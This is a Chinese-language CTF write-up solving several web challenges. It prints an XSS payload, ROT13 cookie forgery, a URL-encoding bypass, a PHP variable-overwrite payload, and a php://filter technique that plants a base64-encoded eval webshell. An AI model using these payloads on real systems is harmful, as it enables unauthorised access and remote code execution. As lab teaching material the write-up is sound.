1.简单题
1.1 来个弹窗2.0

直接输入xss代码看是否直接弹窗可以得到flag
鼠标代码<img src=x οnerrοr=alert(1)>
或者是其他的只要实现了弹窗功能就行

看过海贼王的话这个人并不陌生(本萨姆)
根据要求直接md5加密得到

1.2 help



得到ZmxhZ3t3b19haV9ndWFfeml9
尝试解密,不是md5,再尝试base64

得到flag:flag{wo_ai_gua_zi}
1.3 cookie欺骗2.0
登录后发现他说你已成功绕过验证,但你不是管理员!
抓包看看


Cookie: PHPSESSID=1h61sgna2g0p9p8ginoeprl6je; user=user1; auth=hfre1
根据题目应该在cooike里面找到相应的一个方向
发现user=user1; auth=hfre1
但是开始给的测试账号 user1 / pass1
发现user是对应user但是pass变成了hfre1
然后在下图里面看见俩个Set-Cookie
Set-Cookie: user=user1; path=/
Set-Cookie: auth=hfre1; path=/
此时没什么头绪尝试用ai试试看,是否是什么加密,发现是rot13加密
ROT13(凯撒密码的一种,移位13)
来验证一下:
user1
-
u → h(u是第21个字母,21+13=34,34-26=8 → h)
-
s → f(s是19,19+13=32,32-26=6 → f)
-
e → r(e是5,5+13=18 → r)
-
r → e(r是18,18+13=31,31-26=5 → e)
-
1 → 1(数字不变)
那么尝试弱口令然后把密码使用同样加密的方法来试试

302重定向然后flag.php得到flag:Flag: flag{80424ffd15b0b051203d05b47b7c8637}
1.4 uii
const submitBtn = document.getElementById('submit-btn'); const inputBox = document.getElementById('input-box'); submitBtn.addEventListener('click', function() { const inputValue = inputBox.value.trim(); if (inputValue === '拿铁') { window.location.href = 'i.php'; } else { // 如果不是,弹出提示框 alert('咖啡种类不正确哦'); } });
<?php
if (isset($_GET["uii"]) && $_GET["uii"] === "Yzz") {
echo "不正确";
exit();
}
if (isset($_GET["uii"])) {
$_GET["uii"] = urldecode($_GET["uii"]);
if ($_GET["uii"] == "Yzz") {
echo "提交正确!!!";
echo "Flag: ";
exit();
}
} else {
echo " ";
}
?>
根据这个知道是拿铁,进行url编码?uii=Y%7a%7a
flag:{23dhw38wr98034dfz}
2.中等题
2.1到底给不给flag呢
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
`
";` ` $flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';` ` $qwq= '我想要flag';` ` $QAQ = '我又不想要flag了,滚吧';` ` if(!isset($_GET['flag']) && !isset($_POST['flag'])){` ` exit($qwq);` ` }` ` if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){` ` exit($QAQ);` ` }` ` foreach ($_POST as $key => $value) {` ` $$key = $value;` ` }` ` foreach ($_GET as $key => $value) {` ` $$key = $$value;` ` }` ` echo $flag;` 我想要flag 代码审计:`if(!isset($_GET['flag']) && !isset($_POST['flag'])){` ` exit($qwq);` ` }` `当没有给flag赋值的时候就是我想要flag` `if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){` ` exit($QAQ);` ` }` `当给flag赋值flag的时候就是我又不想要flag了,滚吧` `此时重点就是` `foreach ($_POST as $key => $value) {` ` $$key = $value;` ` }` ` foreach ($_GET as $key => $value) {` ` $$key = $$value;` ` }` ` echo $flag;` 根据网上资料可以知道这是**$$导致的变量覆盖问题** **构造payload:?a=flag\&flag=a** 1. 第一个 GET 参数 `a=flag`: `$a = $flag`(拿到 flag 值) 2. 第二个 GET 参数 `flag=a`: `$flag = $a`(重新把 flag 值赋给 `$flag`) 3. 最终 `$flag` 没丢,输出正确。 flag{7c21614802acfb30b55697b3f5122be1} 2.2写shell 这是一道非常经典的 "死亡 exit 绕过" 题目。 代码核心: php file_put_contents($_GET\['filename'\], "\<?php exit();" . $_POST\['content'\]); 通过 GET 参数 filename 指定写入的文件名 写入的内容是:"\<?php exit();" + POST 参数 content 因为开头是 \<?php exit();,所以即使写入了 webshell,访问这个文件时也会立即退出,不会执行后续恶意代码 所以为了避免退出这个,就直接绕过,然后直接考虑伪协议 php://filter/\[过滤器1\]/\[过滤器2\]/.../resource=要操作的实际文件 dir扫一下目标文件 前半段的get的payload是?filename=php://filter/convert.base64-decode/resource=shell.php 后面为了防止退出就需要加密(尝试base64加密)也需要添加后门的代码\<?php exit();\<?php @eval($_POST\[1\]);?\> 所以后半段post的payload是\<?= @eval($_POST\['cmd'\]); ?\>进行base64代码加密,经过前面的这个伪协议可以使exit()函数直接当作不存在  ``` content=aPD89IEBldmFsKCRfUE9TVFsnY21kJ10pOyA/Pg==(凑成4的倍数ho) ```  用蚁剑连接可以看到自己的shell文件  最后得到: flag{30c42ede8bc4b32e2ae125afaeebee6f}